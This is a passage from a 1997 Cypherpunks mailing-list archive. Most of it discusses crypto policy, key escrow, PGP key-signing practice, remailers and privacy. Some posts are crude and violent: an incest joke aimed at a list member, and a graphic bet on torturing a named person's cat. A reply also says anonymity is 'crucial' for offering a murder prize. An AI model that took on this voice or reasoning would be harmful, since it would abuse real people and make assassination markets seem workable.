> > of their children at some point.  People just suppress it.
> 
>   I can't believe it could be that common without the government
> finding a way to 'tax' it.

Def: relative humidity - the sweat on snow's balls as he fucks his sister.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Fri, 21 Mar 1997 05:51:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: [alt.best.of.cypherpunks]
Message-ID: <199703211351.OAA28208@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Thanks for the laugh.


- ------- Forwarded Message

From: snow <snow@smoke.suba.com>
Subject: Re: PGP on AOL
To: harka@nycmetro.com
Date: Fri, 21 Mar 1997 07:46:08 -0600 (CST)
Cc: cypherpunks@toad.com

> Hi there,
> I want to help a friend of mine to set up PGP. She's using Win 95 and
> is on AOL. Can anybody recommend some good shells, that would make
> make it easier for her?

	Remington .20 Gauge. Use the finest shot you can find, it tends to 
penetrate walls less.

	Good luck.


- ------- End of Forwarded Message


Zooko

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMzKSYUjbHy8sKZitAQHrUgL/TC6JSEVU8QZq00WGt0Yp76AT9pPdgog0
3IUpFE17b+QPz9Lwn1FprL6oaSnAZgz7qnuGj+nel3VNd1R/Tjfa/5qnFiDj++q7
a1+ScrPkfZKQy9DaL9VCavqvTZNoyur0
=7yuN
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 21 Mar 1997 16:23:22 -0800 (PST)
To: Eric Murray <camcc@abraxis.com
Subject: Re: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <v03007800af58d81fe7b6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:30 PM -0800 3/21/97, Eric Murray wrote:

>That last part just floored me, how could anyone be willing to throw
>away rights like that?  At least here in the US they're not so
>obvious about it- the cash (or cars or computers) are seized and
>presumed guilty until proven innocent, and of course you can't mount a
>defense if everything you own is seized and your bank accounts frozen, but
>you're still presumed innocent.  It was that evil CASH that did it.

Well, combine this revocation of rights in Canada with today's report that
Britain plans to license crypto, and with the discussion a few weeks ago
about how Anguilla and similar countries lack formal constitutions, etc.,
and one can see what is going on: most countries are "ad hocracies," making
up rules as they go along.

For all its many faults, the United States has a strong constitution and
laws are often thrown out completely because they conflict with the U.S.
Constitution.

The danger I see is that the U.S. is moving closer every day to becoming
another ad hocracy, with the regulatory and administrative powers of the
government ever more stifling and controlling.

(By the way, on the "licensing of crypto," the U.S. is about to cause
Europe to do to itself what the U.S. is essentially unable to do within the
U.S., namely, force central control of cryptography, ban rogue use, and
basically criminalize any unauthorized use. David Aaron and Louis Freeh and
the rest of the OECD/Wasenaar/NSA cabal have done their jobs well.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Progress@utkform.com
Date: Fri, 21 Mar 1997 14:14:17 -0800 (PST)
To: Winners@everywherexyz.com
Subject: Explosion...
Message-ID: <199703212210.RAA19072@mailhost.IntNet.net>
MIME-Version: 1.0
Content-Type: text/plain


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||                    This is a one time email.                              
---------------------------------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Fri, 21 Mar 1997 17:13:00 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: "why privacy" revisited
Message-ID: <Pine.SUN.3.96.970321170658.21129B-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


The question "why privacy" has at least two different meanings.  The first
one, "why do you value privacy for yourself" has a fairly obvious answer.
Privacy implies control over one's personal information, and more control
is clearly preferable to less.  But the question also has a second
meaning, "why do you think everyone should have more privacy?"  The answer
to this question is not so obvious.  Just because each individual wants
more privacy for himself, it doesn't follow that everyone will be better
off when everyone has more privacy.

Cypherpunks accept the idea that the widespread deployment of cryptography
will increase privacy for everyone (or at least everyone who owns a
computer and an Internet link).  They also argue that this is a good
thing.  The reason most often cited is that privacy serves as a barrier
for coercion.  But privacy is also a barrier to almost every other kind of
social relationship.  For example, economists recognize that many market
failures/inefficiencies are caused by information asymmetries (i.e., the
fact that in a potential exchange one party has more information about the
exchange than the other.  The canonical example for this is the used car
market.)  Increased privacy would seem to only exacerbate these problems.

What arguments can be made that the benefits of increased privacy outweigh
its costs, considered for society as a whole?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Fri, 21 Mar 1997 14:24:59 -0800 (PST)
To: Ilya Slavin <slavin@acf2.nyu.edu>
Subject: NYU's PGP Key-Signing Seminar - a critique
Message-ID: <Pine.LNX.3.95.970321162457.147D-300000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain

I am writing regarding the PGP Seminar to be held on the 27th of March.
Your informative session is laudible.  And, I would like to take full
advantage of the key-signing session to follow.  However, there is a
certain concern which it would be prudent to address first.

http://www.nyu.edu/pages/advocacy/awareness/pgp.html provides instructions
for the session, which state:

   "8. At the seminar Tim and Ilya will confirm the identity of all
       participants and the participants will identify their own keys.
    9. After the seminar Ilya will e-mail all the participants the
       keyring with all the keys, along with the instructions on how
       to sign them."

This conflicts with the guidelines for hosting pgp key signing sessions
as presented in the alt.security.pgp FAQ (a relevant excerpt is attached 
to this message).  The FAQ states:

   "6.  Each person securely obtains their own fingerprint, and after
       being vouched for, they then read out their fingerprint out
       loud so everyone can verify it on the printout they have."
               ~~~~~~~~

The concern I have is that this discrepancy undermines the web of trust
model for PGP.  The participants of the NYU session will not have the
opportunity for verifying the identity of the owners of the keys that
they are signing.  They must rely on a central authority ("Tim and Ilya").

I realize that this may be a simpler, and perhaps a more convenient method
of conducting a key-signing session, perhaps ideally suited to a session
aimed at novices.  However, I feel that the security provided by PGP is
thereby undermined.  We must not forget that security is the whole reason 
that even the novices at your session are using PGP for in the first place.

I hope this issue can be addressed before the session begins.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................


   6.8.  How do I organize a key signing party?

   Though the idea is simple, actually doing it is a bit complex,
   because you don't want to compromise other people's private keys or
   spread viruses (which is a risk whenever floppies are swapped
   willy-nilly).  Usually, these parties involve meeting everyone at
   the party, verifying their identity and getting key fingerprints
   from them, and signing their key at home.

   Derek Atkins <warlord@mit.edu> has recommended this method: 
     _________________________________________________________________

   There are many ways to hold a key-signing session.  Many viable
   suggestions have been given.  And, just to add more signal to this
   newsgroup, I will suggest another one which seems to work very well
   and also solves the N-squared problem of distributing and signing
   keys.  Here is the process:
    1.  You announce the keysinging session, and ask everyone who
       plans to come to send you (or some single person who *will* be
       there) their public key.  The RSVP also allows for a count of
       the number of people for step 3.
    2.  You compile the public keys into a single keyring, run "pgp
       -kvc" on that keyring, and save the output to a file.
    3.  Print out N copies of the "pgp -kvc" file onto hardcopy, and
       bring this and the keyring on media to the meeting.
    4.  At the meeting, distribute the printouts, and provide a site
       to retreive the keyring (an ftp site works, or you can make
       floppy copies, or whatever -- it doesn't matter).
    5.  When you are all in the room, each person stands up, and
       people vouch for this person (e.g., "Yes, this really is Derek
       Atkins -- I went to school with him for 6 years, and lived with
       him for 2").
    6.  Each person securely obtains their own fingerprint, and after
       being vouched for, they then read out their fingerprint out
       loud so everyone can verify it on the printout they have.
    7.  After everyone finishes this protocol, they can go home,
       obtain the keyring, run "pgp -kvc" on it themselves, and
       re-verify the bits, and sign the keys at their own leisure.
    8.  To save load on the keyservers, you can optionally send all
       signatures to the original person, who can coalate them again
       into a single keyring and propagate that single keyring to the
       keyservers and to each individual.

   This seems to work well -- it worked well at the IETF meeting last
   month in Toronto, and I plan to try it at future dates.


http://www.nyu.edu/pages/advocacy/awareness/pgp.html


                          Awareness Week 1997

                      Pretty Good Privacy Seminar

                 Thursday, March 27 at 12:00 pm Warren
                         Weaver Hall, Room 313

   [INLINE] This is a Blue-Ribbon event, CANYU will distribute Blue
   Ribbons to participants

   This seminar sponsored by the Computer Advocacy @ NYU and the
   Academic Computing Facility.  The seminar will explore the need for
   use of cryptography for communications in every day life, and
   demonstrate how PGP (Pretty Good Privacy) can be used at NYU.

   This workshop is a part was preceded by another seminar titled
   "Encryption:  Padlocks for the digital age".

   Speakers:  * Tim O'Connor * Ilya Slavin

   A key signing session will follow the seminar.  The instructions
   follow:  
    1.  If you have already created your key, skip to the
    following step.  + You can create your new key on one of the IS
    machines (and, most likely, many other computers at NYU) by
    following the steps outlined in the following document.  
    2.  Once your key is generated and signed by yourself, extract
    your public key from the key ring by typing pgp -kxat userid
    keyfile.asc where keyfile.asc is a name of the file you want to
    copy your key to. 
    3.  Send this file with your name and a mention of the seminar to
    slavin@acf2.nyu.edu before 7:00 PM on March 26, 1997.  
    4.  Ilya will compile a master keyring with all the keys before
    the seminar starts. 
    5.  Please write down (or print out) the output of the following
    command:  pgp -kvc where <userid> is your name or e-mail address
    that appears in your key. 
    6.  Ilya will have printouts of userids and fingerprints of all
    keys sent to him. 
    7.  Bring two photo IDs (either a passport or other respectable
    form of ID) to the seminar so that we can verify your identity. 
    8.  At the seminar Tim and Ilya will confirm the identity of all
    participants and the participants will identify their own keys. 
    9.  After the seminar Ilya will e-mail all the participants the
    keyring with all the keys, along with the instructions on how to
    sign them. 
    10.  Once the keys are signed, the participants will e-mail their
    signed keyrings to Ilya, who will add their signatures to the
    master keyring.  11.  As soon as Ilya receives all the signed
    keys, he will e-mail the complete keyring to all the participants,
    who can add the new signatures to their own keyrings.

     
______________________________________________________________________


    Computer Awareness Week '97 / Ilya Slavin / Last Modified:  3/6/97



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 21 Mar 1997 17:27:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP Security
In-Reply-To: <199703210116.TAA12097@manifold.algebra.com>
Message-ID: <5PTX4D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Mark M. wrote:
> > 
> > Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did rece
> > the following message which originated from "TruthMonger."  Shortly after I
> > received the message, anon.nymserver.com closed down all of its free,
> > anonymous accounts due to "abuse."
> > 
> 
> This is mostly addressed to jimbell: jim, it is now obvious that
> the remailer network is as weak as a 5 year old child. It cannot
> possibly withstand even mildest forms of "abuse".
> 
> Due to this fact, I question the viability of your assassination 
> politics idea as it does not seem possible to safely operate an
> assassination bot.

Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
assassinated until the end of March in some excruciatingly painful way
(say, skinned alive, soaked in acid, and cut into pieces with an
acetilene torch :-). What protocols can someone use to bet against me
and to collect the winnings? (Assume that I'll cheerfully pay up if
I lose, and that the other party wants to remain anonymous.)

Another thought just occurred to me - LEA's often advertize hotlines for
anonymous tips - a "stukach" is given a code and if his tip works, 
supposedly collects a payoff. Doesn't he have to give his ss# so his
income can be taxed?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 21 Mar 1997 10:08:36 -0800 (PST)
To: camcc@abraxis.com
Subject: Re: encrypt_1.html
Message-ID: <858966059.116256.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> |  The fact that they are pushing key escrow must indicate that
> |someone has developed a program that they can't crack and don't
> |have a back-door to.
> |  I wonder which one it is?

This ignores the basic law of conpiracy theorism: Suspect everyone 
and everything.

I believe the current push to establish key escrow systems, which 
will inevitably lead to enforced domestic GAK in a number of 
countries is possibly a double cross. 

If mandatory GAK is introduced who will be the most likely to ignore 
the legislation and continue using non-GAK crypto? - The anarchists 
and other "terrorist" groups of course. This would seem to suggest 
the govt. is trying to lull these groups into a false sense of 
security believing their non-GAK crypto to be strong. This would in 
turn seem to suggest that the NSA, GCCS etc. have broken a number of 
currently used algorithms that are believed strong by the civilian 
research community.

At the end of the day though this is pure speculation and the spectre 
of GAK still looms over us and must be defeated, however, as 
conspiracy theories go I happen to think it is one of my more 
believable delusions....



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 21 Mar 1997 17:30:06 -0800 (PST)
To: freedom-knights@ketcafe.org
Subject: Lawyers on the rampage
Message-ID: <eVuX4D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Newsday: Wednesday, March 19, 1997

Postal Service Probing E-Mailed Racial Jokes

The U.S. Postal Service is investigating a risque glossary of phony
"ebonics" terms that was sent on the service's electronic mail system. A
postal workers' union labeled the e-mail a "vicious, racist message."

The list of 16 words and their supposed meanings in common parlance
among blacks is rife with sexual and racial stereotypes. It apparently
was sent by a manager in New York using an internal home page.

The list was presented as a tongue-in-cheek guide for managers to
improve communications with office staff. In a letter Friday to
Postmaster General Marvin Runyon, an American Postal Workers Union
official said Runyon's response to the incident should "send a message
to the entire postal community."

"It is a vicious, racist message covered with black humor, and any
rationalization would constitute an insult to those who it is intended
to depict," wrote William Burrus, the union's executive vice president.

A postal official agreed the message was offensive and promised a quick
investigation. "We find the content of this message to be repugnant and
highly offensive," said spokesman Roy Betts. "We have asked the postal
inspection service to immediately get to the bottom of this matter."

Two other major employers -- Morgan Stanley & Co. and Citibank -- were
sued by black employees this year over e-mail messages the employees
said contained racist jokes. The Morgan Stanley employees said the
electronic mailing created a "hostile work environment." Both companies
said they would not tolerate such behavior.

Although the Postal Service message and Burrus' letter both reached
Runyon's office, he said he had not seen them and no action was taken
until postal officials received an inquiry from a news organization late
Monday afternoon.

Betts explained that Runyon was out of the office all last week.

In addition to a stated commitment to diversity in its work force, the
Postal Service has a zero-tolerance policy for racism.

But Angelo Wider, the Postal Service's manager of revenue assurance and
national president of the Afro-American Postal League United for
Success, said: "We still have deep-seated racism in the Postal Service.
It tends to stay in the closet, but every now and then it pops out in
public."

According to Wider, only 10 percent of postal managers are minorities,
while 21 percent of the workers are minorities.

A spokesman for the American Postal Workers Union, Tom Fahey, complained
that the message was symptomatic of an attitude he said pervades Postal
Service management. "We come across communications like this all the
time, Fahey said.

Betts insisted the message "does not reflect the Postal Service's policy
and position."



Washington Post, Thursday, March 20, 1997

E-Mail Humor: Punch Lines Can Carry a Price

By Michelle Singletary

The messages regularly travel between computer screens at workplaces
across the country: Why beer is better than women. Ebonics 101. Top 10
reasons computers must be male.

For many employees e-mail has evolved into a casual electronic
conversation complete with jokes and gossip whether of the politically
correct variety or what could be deemed, particularly in the eyes of
someone of a different race or sex than the sender, as offensive.

Employees typically assume their messages are private and will be seen
only by the recipient. But because messages are routinely saved by
companies, if they end up in the hands of someone for whom they were not
intended, it's often not very funny and ultimately could be used against
the employee and the company in a bias lawsuit. It also creates a
potentially tricky civil-liberties issue for companies that don't want
to monitor employees' e-mail, but don't want to get caught up in a
lawsuit either.

In the past four months, three major U.S. corporations-- R.R. Donnelley
& Sons Co., Morgan Stanley & Co. and Citicorp's Citibank N.A.-- have
been sued by black employees alleging discrimination as a result of
messages sent via e-mail.

Lawyers and technology experts say they believe the suits are the
beginning of a wave of litigation in which employees produce e-mail
evidence of sex, race or age discrimination. Also, lawyers searching for
ways to prove or disprove discrimination routinely are asking companies
to retrieve e-mail from their computer systems.

``Employees have this expectation that e-mail is private, but it's not
and they don't understand that they can leave a footprint,'' said Frank
Connolly, a professor of computer science and information systems at
American University. ``The medium lulls you into a false sense of
security that it probably shouldn't.''

Electronic mail, or e-mail as it is commonly known, is being used by
nearly 80 percent of organizations to communicate and share ideas and
information, according to a survey released last year by the Society for
Human Resource Management. Estimates are that by the year 2000, about 40
million people in the United States will use e-mail, sending more than
60 billion messages annually.

While e-mail quickly has become a common workplace tool, only 36 percgnt
of organizations that use it have written policies addressing its use
and only 34 percent provide training on the proper and improper use of
e-mail, according to the SHRM survey.

Legal and computer experts say e-mail use has added a troubling wrinkle
to workplace discrimination. Such communication has replaced the kind of
informal lunchroom conversations that might have taken place in the
past. In fact, employees have become so comfortable with e-mail that
they say things they never would write in a memo or utter out loud for
fear of being overheard.

And, unlike spoken conversations, e-mail messages are toneless and lack
context, and consequently could be extremely damaging to a company if
used as evidence in court.

``It's one thing to have testimony in court as to an alleged
inappropriate comment made a number of years ago vs. a document where
jurors see it in black and white,'' said Stephen L. Sheinfeld, a New
York attorney who heads the labor and employment department at Whitman
Breed Abbott & Morgan.

Lawyers say workers who electronically send what might be viewed as
racist jokes could be creating what legally is considered a hostile work
environment opening themselves and their companies up to discrimination
lawsuits.

Companies, which often don't have policies on e-mail use and etiquette,
can be liable for their employees' discriminatory actions, experts say,
because legally e-mail sent from work is treated like any official
record, such as a memo written on company letterhead.

``If an executive says something in an e-mail, it's as if he sent it
through a memo,'' according to Jeffrey Neuberger, partner in the New
York law firm of Brown, Raysman & Millstein, Felder & Steiner.

As yet there isn't much case law on this issue. But plaintiffs'
attorneys could show employees were harmed emotionally by being exposed
to racist or sexist e-mail messages. Additionally, e-mail messages also
could be used against companies with spotty or bad histories for hiring
and promoting minorities and women.

``Claimants are now searching the e-mail systems looking for smoking
guns and because e-mail is unerasable, it can come back to haunt an
employer,'' Sheinfeld said.

``There is some really bad, bad stuff being sent,'' said Lauren Reiter
Brody, a partner and co-chair of the employment-practices group at
Rosenman & Colin in New York. One of the companies recently sued, R.R.
Donnelley & Sons, a Chicago printer, is battling a racial-discrimination
lawsuit based in part on 165 racial, ethnic and sexual jokes allegedly
passed through its e-mail system.

Morgan Stanley also has been sued over allegations that racist jokes
were passed between co-workers through the company's e-mail system. And,
last month, Citicorp's Citibank N.A. was sued in a class action in which
two black employees allege that white supervisors and managers exchanged
racist electronic-mail messages.

In the Citibank case, the plaintiffs alleged that because of the
electronic mail, they were subject to a ``pervasively abusive racially
hostile work environment.''

In all three cases, the companies denied wrongdoing and stated they had
taken measures to discipline employees who used the company's e-mail
system inappropriately.

In the Citibank and Morgan Stanley cases, the lawsuits allege that white
managers circulated a list of words that were used in sentences designed
to poke fun at the use of Ebonics, sometimes referred to as black
English.

In one example, submitted as part of the Citibank case, the word
``disappointment'' is capitalized and followed by the sentence: ``My
parole officer tel me if I miss disappointment they gonna send me back
to da big house.''

``This kind of joke without a doubt has no place in the workplace,''
said Stephen T. Mitchell, a Manhattan lawyer representing the two
Citibank employees who filed suit. ``You have a situation that people
that have the power to promote and the power to terminate are ridiculing
people that don't have that power.''

Mitchell said he has been contacted by more than a dozen other Citibank
employees who want to join the lawsuit.

In 1995, Chevron Corp. agreed to pay four women a total of $2.2 million
in settling a sexual-harassment suit after the plaintiffs produced,
among other evidence, e-mail containing sexist jokes about ``why beer is
better than women.''

E-mail humor reaches across gender, racial and ethnic lines. A recent
joke being circulated on the ``Top 10 reasons computers must be male,''
for example, contained as No. 10, ``They have a lot of data but are
still clueless.''

Ultimately, the heightened concern about the liability generated by
e-mail messages will cause more employers to begin monitoring the
electronic mail sent and received by their employees, legal experts
predict.

``I'm getting a lot of inquiries about e-mail monitoring,'' said D.
Michael Underhill, a partner with Morgan, Lewis & Bockius, a District of
Columbia-based law firm.

Privacy advocates, however, caution employers not to overreact in
responding to possible misuse of e-mail, saying that could cause other
problems to develop.

``Employers shouldn't monitor e-mail unless they have strong reason to
think someone is abusing it,'' said Evan Hendricks, editor of the
Privacy Times.

Legal experts recommend that workplaces have some form of monitoring
e-mail and disclose this to employees. Some experts even suggest that
companies routinely dispose of e-mail messages from backup computer
systems the way they would other sensitive documents. They also say
companies should develop immediately a written policy for e-mail and
provide training on its proper use. Most importantly, such policies
should prohibit the use of offensive language or jokes about race or
sex, they said.

Experts also caution employees of the same race and sex against sending
one another off-color jokes.

Patricia L. Morris, dean of the School of Education and Urban Studies at
Morgan State University, said off-color racial or sexual jokes reinforce
stereotypes. This is especially true for black workers who might be
passing along jokes to one another about Ebonics, for example, at
companies where African Americans are still striving to be paid and
promoted on the same basis as whites.

``We shouldn't accept it from whites and we shouldn't tolerate it at all
from each other,'' Morris said.



USA Today, Thursday, March 20, 1997

Computer-Banking Bugs Turn Off Customers

By Christine Dugas

As more people sign up for computer banking and bill paying, some banks'
systems are becoming overloaded -- causing delays and bounced checks.

The industry says it is experiencing growing pains and is fixing the
problems. But some customers are losing patience.

Richard Rosett, a professor at Rochester (N.Y.) Institute of Technology,
has been disconnected on several occasions while transmitting bill
payments to Chase Manhattan bank.

``The only way to find out if the payments went through was to call
Chase,'' he says. But then he was put on interminable hold. Once he
clocked the wait at more than an hour.

Rosett became more irate when he mistakenly was charged $21.95 in
electronic banking fees. And Chase didn't respond to his electronic mail
complaint, he says. So, he's taking his business elsewhere.

Chase, the USA's largest bank, isn't the only financial institution with
problems. ``Banks are victims of their own success,'' says Bill Burnham,
a banking consultant at Booz, Allen & Hamilton.

Since NationsBank launched its personal computer banking service a year
ago, 320,000 customers have signed on. ``We were able to keep up with
the growth until recently,'' says Smita Quinn, PC banking manager. Then
customers encountered connection delays.

They sometimes had to wait up to 10 minutes to speak to a bank
representative by phone. So NationsBank curtailed its marketing push and
beefed up its call center staff.

Chase says it also is increasing its phone staff -- from 50 people to
150 by the end of April. Ed Valenski, senior vice president in charge of
the call center, says Chase tries to resolve problems, but many are
beyond its control.

That's because Intuit Services handles payment processing and other
computer services for about 40 banks, including Chase. Connection delays
and service interruptions cropped up because the company couldn't handle
the growing volume. Intuit Services recently was sold to CheckFree, a
large national payment processor, which says it now has ironed out the
problems.

But it was too late to help Pam Toner of Fairfield, Conn. Toner says her
August home-equity loan payment didn't go through because of a glitch in
Chase's PC banking service. And the late payment ended up on the Toners'
credit report.

Now Chase is trying to clear up the mess by writing the credit agency.
To make up for such problems, the bank has sent some customers flowers.
But Toner didn't get any.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 21 Mar 1997 15:55:19 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: UK govt. to ban PGP (was Re: UK TTP Paper)
Message-ID: <1.5.4.32.19970321234615.008459a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>: In Grey's words, ``All over Europe, the lights are going out''
>: 
>: Ross

There does appear to be a coordinated global action to issue 
policies on TTP, GAK and the like at this time. OECD is due to 
shortly release its crypto policy, as is the USG according to BXA.
The FBI issued its wiretap payment plan yesterday. Herson
publically admitted the EU-FBI wiretap pact.

All are apparently guided by The Wassenaar Arrangement amongst
two dozen or so countries to act in concert, and to go public with
dual-use controls in unison.

So, Clint Brooks' comment at CFP about a new policy coming out
for stronger crypto is a surely a harbinger of global GAK, in the
guise of TTP or Key Recovery, as was speculated here, and as
Rensch's statement to the House yesterday affirms.

It's a policy sure to appeal to nationalists and chauvinists: strong 
protection for a nation's interest and commerce with GAK; without
it no protection from predatory (rogue) nations (and criminals). 

But, as the Crypto AG engineer asked, "Who will protect us from NSA?"
And its predatory clients and contractors, the Germans and French and
others are asking, now that they are suffering the unilateral spying
of their highest tech "friends."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 21 Mar 1997 17:50:10 -0800 (PST)
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: FBI Visits JPUNIX
In-Reply-To: <199703210742.XAA21100@mailmasher.com>
Message-ID: <199703220138.TAA25090@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Huge Cajones Remailer wrote:
>   Anonymous continued:
> >   Efforts to send it through a second remailer also failed, with no
> > notice from the server of any problems being received. Other email
> > sent through the remailer at the same time encountered no difficulties.
> 
> Later the same day John Perry wrote:
> >         Due to an FBI investigation that was opened recently naming
> > myself and jpunix as suspects, I have decided that the heat taken by
> > remailer operators due to those individuals that can't control
> > themselves has become unacceptable. 
> 

Note that remailer users should admit the possibility of a government
agent being among remailer operators. I have very high regards to John
Perry personally, but believe me, it does not a lot of effort to 
subvert a more regular person. It is generally easy to find some
"crime" that normally would not be prosecuted and and then bullied
into submission.

A reasonably risk-averse remailer users should accept that probability 
and never assume that one or two remailers in a chain is enough for
anything serious. As well, I strongly object to remailer operators
openly discussing who sent what to whom (as it recently happened).

If a remailer operator discovers that a certain user is spamming his
service, he could publish a hash (not cryptographically strong) of the
offender's email address and not teh address itself.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 21 Mar 1997 17:54:34 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: PGP Security
In-Reply-To: <5PTX4D3w165w@bwalk.dm.com>
Message-ID: <199703220150.TAA25262@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
> > Mark M. wrote:
> > > 
> > > Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did rece
> > > the following message which originated from "TruthMonger."  Shortly after I
> > > received the message, anon.nymserver.com closed down all of its free,
> > > anonymous accounts due to "abuse."
> > > 
> > 
> > This is mostly addressed to jimbell: jim, it is now obvious that
> > the remailer network is as weak as a 5 year old child. It cannot
> > possibly withstand even mildest forms of "abuse".
> > 
> > Due to this fact, I question the viability of your assassination 
> > politics idea as it does not seem possible to safely operate an
> > assassination bot.
> 
> Suppose I want to bet $1000 that Chris Platt's cat, "Ben", won't be
> assassinated until the end of March in some excruciatingly painful way
> (say, skinned alive, soaked in acid, and cut into pieces with an
> acetilene torch :-). What protocols can someone use to bet against me
> and to collect the winnings? (Assume that I'll cheerfully pay up if
> I lose, and that the other party wants to remain anonymous.)

There may be a problem whish is that the bettors like yourself may be
held liable for any damages to Platt and his property. The lawyers on
this list can have more to say on that.

If there is presently no law covering that (likely there are) it is not
hard to come up with one, I believe.

Without anonymity it will not work very well. After all, if you announce
that you pay a prize to have someone murdered, your potential victim
will be able to murder you even earlier. Anonymity is crucial here.

> Another thought just occurred to me - LEA's often advertize hotlines for
> anonymous tips - a "stukach" is given a code and if his tip works, 
> supposedly collects a payoff. Doesn't he have to give his ss# so his
> income can be taxed?

They may withhold the tax at the time of payment. It does not matter
anyways since it is a payment from the government. If they do not collect
taxes from payments to stukachi, they can simply reduce the payment amounts
proportionally.

Notorious stukach Colin James III knows better anyways. Ask him.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 18:00:44 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Jackboots in Canada
In-Reply-To: <3.0.1.32.19970321083409.007cfe80@smtp1.abraxis.com>
Message-ID: <3.0.1.32.19970321205945.007d6930@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 02:30 PM 3/21/97 -0800, Eric Murray wrote:

[snip]

|The alternative, proposed by some goverment person (governor?) in Quebec,
was
|to suspend "individual liberties" for bikers, making it possible to
|pull one over at any time, search them, and if explosives are found
|assume they're guilty until proven innocent. 

[snip]

Isn't this the common ploy. "Hey, aren't we the civil liberterians; we were
going to take away _all_ your civil liberties. You should be PLEASED we took
only those we did. Besides, it's for your own good, and will be used _only_
to control those filthy drug-dealing bikers, not the decent citizenry."

What has the reaction been in Canada?

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzM9DiKJGkNBIH7lAQG2xwQArDZwV2oUeAbLHkGd24YPcJql9fev3GSI
rICksKuX394SQao41GfSi3u7Y0SF1et4L/EAO+wu+bRZs6eARKysJisBNIja/0er
6LT3AQX0SKaxRD1HOqrkcuKpYYd9fT8RtmQFNipJqJx54xJ9P87Wlklr3n7K1aoD
YSnO2UsTfbQ=
=4wgA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Fri, 21 Mar 1997 18:13:21 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Cypherpunks Bottleneck [was Cypherpunks & Ecash]
